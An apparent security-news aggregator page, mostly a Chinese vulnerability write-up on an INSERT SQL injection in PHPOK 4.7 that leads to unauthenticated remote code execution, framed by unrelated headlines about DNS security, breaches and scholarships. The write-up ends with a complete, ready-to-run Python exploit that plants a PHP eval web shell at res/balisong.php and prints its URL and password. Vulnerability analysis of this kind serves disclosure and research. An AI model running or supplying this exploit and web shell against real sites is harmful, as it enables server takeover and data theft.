Aggregator
网络安全技术(2)网络协议的安全性
网络安全技术(1)信息安全概述
在 Runtime.getRuntime().exec(String cmd) 中执行任意shell命令的几种方法
The Good, the Bad and the Ugly: Bitcoin and Cryptocurrencies
A Framework for Resilient DNS Security: DNS Availability Drives Business
To establish connectivity with other users and devices, almost anything that interfaces with the internet depends on the accuracy, integrity and availability of the Domain Name System (DNS). Most online transactions and data movement are critically dependent on DNS services. As such, DNS is an important point of security enforcement and a potential point in […]
The post A Framework for Resilient DNS Security: DNS Availability Drives Business appeared first on Verisign Blog.
The Startup Security Challenge: Safe in the Cloud From Day One
【原创】oracle提权执行命令工具oracleShell v0.1 - rebeyond
Key Takeaways for Consumers From Our 2018 Threats Predictions Report
As 2017 winds down, we all start looking ahead and anticipate what’s to come for 2018. For us at McAfee,...
The post Key Takeaways for Consumers From Our 2018 Threats Predictions Report appeared first on McAfee Blog.
Achieving Multi-Dimensional Security Through Information Modeling—Unwrapping Controls Part 4
How-To: Replaying Cellular Network Characteristics on Cloud Infrastructure
Analysis of a 0x5c BSOD caused by timer interrupt in KVM when VMs reboot
RSA 加密及解密
对于解题来说 一般会给你以下信息:模数N、公钥E和密文C. 如果只是做题的话
PHPOK 4.7从注入到getshell
首发先知安全技术社区,博客同步一下。
简介
phpok是一款PHP开发的开源企业网站系统。
在phpok 4.7版本及以前,存在一个由注入导致的前台getshell漏洞。
目前官方最新版已经修补。
在/framework/www/upload_control.php中第61行:
private function upload_base($input_name='upfile',$cateid=0) { $rs = $this->lib('upload')->getfile($input_name,$cateid); if($rs["status"] != "ok"){ return $rs; } $array = array(); $array["cate_id"] = $rs['cate']['id']; $array["folder"] = $rs['folder']; $array["name"] = basename($rs['filename']); $array["ext"] = $rs['ext']; $array["filename"] = $rs['filename']; $array["addtime"] = $this->time; $array["title"] = $rs['title']; $array['session_id'] = $this->session->sessid(); $array['user_id'] = $this->session->val('user_id'); $arraylist = array("jpg","gif","png","jpeg"); if(in_array($rs["ext"],$arraylist)){ $img_ext = getimagesize($this->dir_root.$rs['filename']); $my_ext = array("width"=>$img_ext[0],"height"=>$img_ext[1]); $array["attr"] = serialize($my_ext); } $id = $this->model('res')->save($array); if(!$id){ $this->lib('file')->rm($this->dir_root.$rs['filename']); return array('status'=>'error','error'=>P_Lang('图片存储失败')); } $this->model('res')->gd_update($id); $rs = $this->model('res')->get_one($id); $rs["status"] = "ok"; return $rs; }这是一个文件上传函数,然后在该函数开头又调用了getfile函数,跟进:
public function getfile($input='upfile',$cateid=0) { if(!$input){ return array('status'=>'error','content'=>P_Lang('未指定表单名称')); } $this->_cate($cateid); if(isset($_FILES[$input])){ $rs = $this->_upload($input); }else{ $rs = $this->_save($input); } if($rs['status'] != 'ok'){ return $rs; } $rs['cate'] = $this->cate; return $rs; }如果存在上传文件就调用_upload函数,继续跟进:
private function _upload($input) { global $app; $basename = substr(md5(time().uniqid()),9,16); $chunk = $app->get('chunk','int'); $chunks = $app->get('chunks','int'); if(!$chunks){ $chunks = 1; } $tmpname = $_FILES[$input]["name"]; $tmpid = 'u_'.md5($tmpname); $ext = $this->file_ext($tmpname); $out_tmpfile = $this->dir_root.'data/cache/'.$tmpid.'_'.$chunk; if (!$out = @fopen($out_tmpfile.".parttmp", "wb")) { return array('status'=>'error','error'=>P_Lang('无法打开输出流')); } $error_id = $_FILES[$input]['error'] ? $_FILES[$input]['error'] : 0; if($error_id){ return array('status'=>'error','error'=>$this->up_error[$error_id]); } if(!is_uploaded_file($_FILES[$input]['tmp_name'])){ return array('status'=>'error','error'=>P_Lang('上传失败,临时文件无法写入')); } if(!$in = @fopen($_FILES[$input]["tmp_name"], "rb")) { return array('status'=>'error','error'=>P_Lang('无法打开输入流')); } while ($buff = fread($in, 4096)) { fwrite($out, $buff); } @fclose($out); @fclose($in); $app->lib('file')->mv($out_tmpfile.'.parttmp',$out_tmpfile.'.part'); $index = 0; $done = true; for($index=0;$index<$chunks;$index++) { if (!file_exists($this->dir_root.'data/cache/'.$tmpid.'_'.$index.".part") ) { $done = false; break; } } if(!$done){ return array('status'=>'error','error'=>'上传的文件异常'); } $outfile = $this->folder.$basename.'.'.$ext; if(!$out = @fopen($this->dir_root.$outfile,"wb")) { return array('status'=>'error','error'=>P_Lang('无法打开输出流')); } if(flock($out,LOCK_EX)){ for($index=0;$index<$chunks;$index++) { if (!$in = @fopen($this->dir_root.'data/cache/'.$tmpid.'_'.$index.'.part','rb')){ break; } while ($buff = fread($in, 4096)) { fwrite($out, $buff); } @fclose($in); $GLOBALS['app']->lib('file')->rm($this->dir_root.'data/cache/'.$tmpid."_".$index.".part"); } flock($out,LOCK_UN); } @fclose($out); $tmpname = $GLOBALS['app']->lib('string')->to_utf8($tmpname); $title = str_replace(".".$ext,'',$tmpname); return array('title'=>$title,'ext'=>$ext,'filename'=>$outfile,'folder'=>$this->folder,'status'=>'ok'); }其中 $ext = $this->file_ext($tmpname);是检测文件后缀的,看一下:
private function file_ext($tmpname) { $ext = pathinfo($tmpname,PATHINFO_EXTENSION); if(!$ext){ return false; } $ext = strtolower($ext); $filetypes = "jpg,gif,png"; if($this->cate && $this->cate['filetypes']){ $filetypes .= ",".$this->cate['filetypes']; } if($this->file_type){ $filetypes .= ",".$this->file_type; } $list = explode(",",$filetypes); $list = array_unique($list); if(!in_array($ext,$list)){ return false; } return $ext; }上传是比较严格的,只允许上传后缀是jpg,png,gif这种图片后缀的文件,上传我们无法绕过,但是程序对于上传的文件名没有充份的过滤,在函数末尾,将文件名添加到了返回的数组中:
$tmpname = $GLOBALS['app']->lib('string')->to_utf8($tmpname); $title = str_replace(".".$ext,'',$tmpname); return array('title'=>$title,'ext'=>$ext,'filename'=>$outfile,'folder'=>$this->folder,'status'=>'ok'); }这里的$tmpname就是我们上传的文件名,注意,不是上传后的文件名,而是上传前的文件名,并且没有对该文件名过滤,然后返回。
我们回到开头,upload_base函数中去:
$rs = $this->lib('upload')->getfile($input_name,$cateid); if($rs["status"] != "ok"){ return $rs; } $array = array(); $array["cate_id"] = $rs['cate']['id']; $array["folder"] = $rs['folder']; $array["name"] = basename($rs['filename']); $array["ext"] = $rs['ext']; $array["filename"] = $rs['filename']; $array["addtime"] = $this->time; $array["title"] = $rs['title']; $array['session_id'] = $this->session->sessid(); $array['user_id'] = $this->session->val('user_id'); $arraylist = array("jpg","gif","png","jpeg"); if(in_array($rs["ext"],$arraylist)){ $img_ext = getimagesize($this->dir_root.$rs['filename']); $my_ext = array("width"=>$img_ext[0],"height"=>$img_ext[1]); $array["attr"] = serialize($my_ext); } $id = $this->model('res')->save($array);可以看到这里将返回值中的title的值赋值给了$array[‘title’],这个值是我们可控的,然后将$array带入到了save函数中,我们看一下该函数:
在/framework/model/res.php中第279行:
public function save($data,$id=0) { if(!$data || !is_array($data)){ return false; } if($id){ return $this->db->update_array($data,"res",array("id"=>$id)); }else{ return $this->db->insert_array($data,"res"); } }将$data带入到了insert_array函数中,我们看一下该函数:
/framework/engine/db/mysqli.php中第211行:
public function insert_array($data,$tbl,$type="insert") { if(!$tbl || !$data || !is_array($data)){ return false; } if(substr($tbl,0,strlen($this->prefix)) != $this->prefix){ $tbl = $this->prefix.$tbl; } $type = strtolower($type); $sql = $type == 'insert' ? "INSERT" : "REPLACE"; $sql.= " INTO ".$tbl." "; $sql_fields = array(); $sql_val = array(); foreach($data AS $key=>$value){ $sql_fields[] = "`".$key."`"; $sql_val[] = "'".$value."'"; } $sql.= "(".(implode(",",$sql_fields)).") VALUES(".(implode(",",$sql_val)).")"; return $this->insert($sql); }
就是将该数组中的键值遍历出来,将键作为字段名,将值作为对应字段的值。可以看到,对于值是没有进行转义的,其中包括我们可以控制的title的值,那么这里就产生了一个insert的注入。那么这个注入我们有什么用呢?当然首先想到的是一个出数据,但是对于update 或者insert注入,一般来说我会想办法将这个注入升级一下危害。注意这个注入是一个insert注入,并且insert语句是可以一次插入多条内容的,我们不能控制当前这条insert语句的内容,我们可以控制下一条的内容,比如说像这样:
Insert into file values(1,2,3,),(4,5,6)
那么我们控制下一条的内容有什么用,好,现在我们开始看/framework/www/upload_control.php中的第103行:
这里我们输入一个oldid的值,然后从res表中查找出这一行的数据,然后将我们上传的文件mv到$old_rs[‘filename’]。
mv函数的定义在/framework/libs/file.php中第264行:
通过上文说到的,我们可以控制res表中的一行记录的值,那么这个filename也是我们可控的,那么我们如果将filename设置为/res/balisong.php。那么我上传的图片文件就会重新命名成/res/balisong.php。我们就达到了一个getshell的目的。
由于上传的文件名的特殊性。导致我们不能带有斜杠,那么怎么办呢?我们可以利用十六进制编码来绕过,具体的漏洞利用过程就不细说了,比较复杂,所以直接上exp:
#-*- coding:utf-8 -*- import requests import sys import re if len(sys.argv) < 2: print u"Usage: exp.py url [PHPSESSION]\r\nFor example:\r\n[0] exp.py http://localhost\r\n[1] exp.py http://localhost 6ogmgp727m0ivf6rnteeouuj02" exit() baseurl = sys.argv[1] phpses = sys.argv[2] if len(sys.argv) > 2 else '' cookies = {'PHPSESSION': phpses} if baseurl[-1] == '/': baseurl = baseurl[:-1] url = baseurl + '/index.php?c=upload&f=save' files = [ ('upfile', ("1','r7ip15ijku7jeu1s1qqnvo9gj0','30',''),('1',0x7265732f3230313730352f32332f,0x393936396465336566326137643432352e6a7067,'',0x7265732f62616c69736f6e672e706870,'1495536080','2.jpg", '<?php @eval($_POST[balisong]);phpinfo();?>', 'image/jpg')), ] files1 = [ ('upfile', ('1.jpg', '<?php @eval($_POST[balisong]);phpinfo();?>', 'image/jpg')), ] r = requests.post(url, files=files, cookies=cookies) response = r.text id = re.search('"id":"(\d+)"', response, re.S).group(1) id = int(id) + 1 url = baseurl + '/index.php?c=upload&f=replace&oldid=%d' % (id) r = requests.post(url, files=files1, cookies=cookies) shell = baseurl + '/res/balisong.php' response = requests.get(shell) if response.status_code == 200: print "congratulation:Your shell:\n%s\npassword:balisong" % (shell) else: print "oh!Maybe failed.Please check"系统默认是不需要注册登录即可上传文件的。
结语其实这种情况还是蛮多的,有些系统会将上传前的文件名入库,如果过滤不当,就可以注入了。并且insert,update这种注入危害是可以进一步扩大的。
The Uber Data Breach: What Consumers Need to Know
Ride-sharing apps are one of the most successful innovations of the modern digital age. Practically everyone who has a smart...
The post The Uber Data Breach: What Consumers Need to Know appeared first on McAfee Blog.
GCSB supporting women in STEM through academic scholarships
The Government Communications Bureau (GSCB) has awarded four $10,000 tertiary scholarships to women studying STEM subjects at New Zealand universities.